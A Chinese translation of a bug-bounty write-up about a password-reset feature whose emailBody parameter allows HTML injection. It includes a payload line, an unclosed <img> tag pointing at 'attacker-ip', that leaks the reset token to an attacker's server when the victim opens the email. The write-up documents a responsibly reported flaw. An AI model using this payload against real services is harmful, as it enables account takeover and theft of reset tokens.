“找回密码”邮件所导致的帐户接管

iso60001  2040天前

22.png

在这篇文章中,我将讲述我在某个网络应用中所找到的逻辑漏洞,它存在于“找回密码”这个功能中,可以让我接管任意用户的帐号。虽然最后进行攻击的方式是通过钓鱼手段,但这个漏洞依然有足够的威胁。以下我将目标称为“app”。

当我在测试这个应用的“忘记密码”功能时,使用burpsuite抓到了这样一个特殊的HTTP数据包:

33.png

在这个请求的多个参数中,你应该会立马注意到一个特殊的参数emailBody,貌似其中掺杂了很多html代码,这可能涉及到找回密码的某个web模板。让我们先测试一下,看是否可以往其中注入html代码。

44.png

我先简单的插入了一个<a>标签,回应如下(即重置密码的邮件):

55.jpg

很好,我们在重置密码的链接前插入了一个click,看样子这是一个标准的HTML注入,后端服务器并没有对用户的数据进行安全过滤就直接利用。那么,它在实际情况下能达到什么攻击效果呢?我很快想到也许可以试试对其他用户进行钓鱼攻击,毕竟这个邮件的发送者可是应用官方。

实现这个钓鱼攻击,只需插入一个简单的url即可(插入位置在[RESET-LINK]之前):

<img src=\"http://attacker-ip/?id=

66.png

一旦受害者打开这封“找回密码”的电子邮件,<img>标签就会向我的服务器发出请求,而重置密码令牌也会被带到我的服务器上,具体如下图所示:

77.jpg

攻击者可以轻松使用得到的令牌重置密码,接管任意帐户。

时间线:

  • 2019年1月8日 - 报告漏洞
  • 2019年1月10日 - 检验中
  • 2019年1月10日 - 支付赏金
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@mrnikhilsri/unauthenticated-account-takeover-through-http-leak-33386bb0ba0b

最新评论

昵称
邮箱
提交评论